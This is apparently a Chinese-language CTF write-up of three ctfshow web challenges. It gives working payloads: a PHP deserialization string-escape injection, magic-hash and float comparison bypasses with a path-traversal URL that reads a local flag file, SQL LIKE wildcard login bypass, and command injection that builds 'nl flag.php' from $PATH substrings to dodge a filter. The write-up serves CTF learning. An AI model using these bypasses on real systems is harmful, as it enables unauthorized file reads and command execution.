CTFSHOW-日刷-[月餅杯]web
此夜圓
下載檢視原始碼
<?php error_reporting(0); class a { public $uname; public $password; public function __construct($uname,$password) { $this->uname=$uname; $this->password=$password; } public function __wakeup() { if($this->password==='yu22x') { include('flag.php'); echo $flag; } else { echo 'wrong password'; } } } function filter($string){ return str_replace('Firebasky','Firebaskyup',$string); } $uname=$_GET[1]; $password=1; $ser=filter(serialize(new a($uname,$password))); $test=unserialize($ser); ?>
貌似是要讓password等於yu22x
但是password固定是1了,這裡可以發現有個過濾會把Firebasky替換成Firebaskyup,雖然這個單詞意義不明,但是重要的是長度發生了變化,可以藉此繞過。
傳入:
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
即可,原理是替換後長度增加,但是序列化後的數字沒變,會導致提前閉合,把我們傳入的字串當作序列化的一部分。
故人心
<?php error_reporting(0); highlight_file(__FILE__); $a=$_GET['a']; $b=$_GET['b']; $c=$_GET['c']; $url[1]=$_POST['url']; if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){ $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c))); if($d){ highlight_file('hint.php'); if(filter_var($url[1],FILTER_VALIDATE_URL)){ $host=parse_url($url[1]); print_r($host); if(preg_match('/ctfshow\.com$/',$host['host'])){ print_r(file_get_contents($url[1])); }else{ echo '差點點就成功了!'; } }else{ echo 'please give me url!!!'; } }else{ echo '想一想md5碰撞原理吧?!'; } }else{ echo '第一個都過不了還想要flag呀?!'; } 第一個都過不了還想要flag呀?!
第一關,前面三個好實現,第三個平方為0,但是和前面不為0 矛盾。
其實玩過計算器啥的知道小數夠小會當作0的。這裡輸入a=1e-200即可
第二關是滿足hash2和自身相等,和hash2的hash2和自身相等的兩個數字
這裡利用PHP在處理雜湊字串時,會利用”!=”或”==”來對雜湊值進行比較,它把每一個以”0E”開頭的雜湊值都解釋為0,所以如果兩個不同的密碼經過雜湊以後,其雜湊值都是以”0E”開頭的,那麼PHP將會認為他們相同,都是0。即如果md的值是以0e開頭的,那麼就與其他的0e開頭的Md5值是相等的。
這裡再robots裡有提示,爆破即可,這裡直接給出答案:b=0e652024452,c=0e603448399。
可以看出告訴你flag在根目錄下了
if(filter_var($url[1],FILTER_VALIDATE_URL)){ $host=parse_url($url[1]); print_r($host); if(preg_match('/ctfshow\.com$/',$host['host'])){ print_r(file_get_contents($url[1])); }
這裡要求傳入引數是url格式,同時含有ctfshow.com就會檔案讀取。但是我們要讀取本地檔案
這裡利用php中,在向目標請求時先會判斷使用的協議。如果協議無法識別,就會認為它是個目錄。
我們隨便寫個協議test://,加上ctfshow.com它會認為是目錄,最後目錄穿越即可
url=test://ctfshow.com/../../../../../../fl0g.txt
莫負嬋娟
檢視前端程式碼
可以發現sql語句,這裡開始犯傻了,後面反應過來了這是like模糊匹配,我們直接用萬用字元就行了
% 表示零個或多個字元的任意字串 _(下劃線)表示任何單個字元 [ ] 表示指定範圍 ([a-f]) 或集合 ([abcdef]) 中的任何單個字元 [^] 不屬於指定範圍 ([a-f]) 或集合 ([abcdef]) 的任何單個字元 * 它同於DOS命令中的萬用字元,代表多個字元 ?同於DOS命令中的?萬用字元,代表單個字元 # 大致同上,不同的是代只能代表單個數字
試了發現_沒過濾
賬號5個下劃線,密碼32個下劃線
發現登入進去貌似沒啥用
這裡發現賬號給你了yu22x,通過一位一位的跑,可以知道密碼是67815b0c009ee970fe4014abaa3Fa6A0
用賬號密碼登入後,發現ip輸入框
這裡大概率是命令執行,測試一下發現小寫字母全被過濾。大寫字母、數字、$
、:
沒被過濾。
這裡用環境變數構造ls
linux中輸入echo $path
${PATH:5:1}就是第五個(0開始)去一位就是l
同理構造${PATH:14:1}${PATH:5:1} ????.???
就是nl flag.php 符合????.???就這一個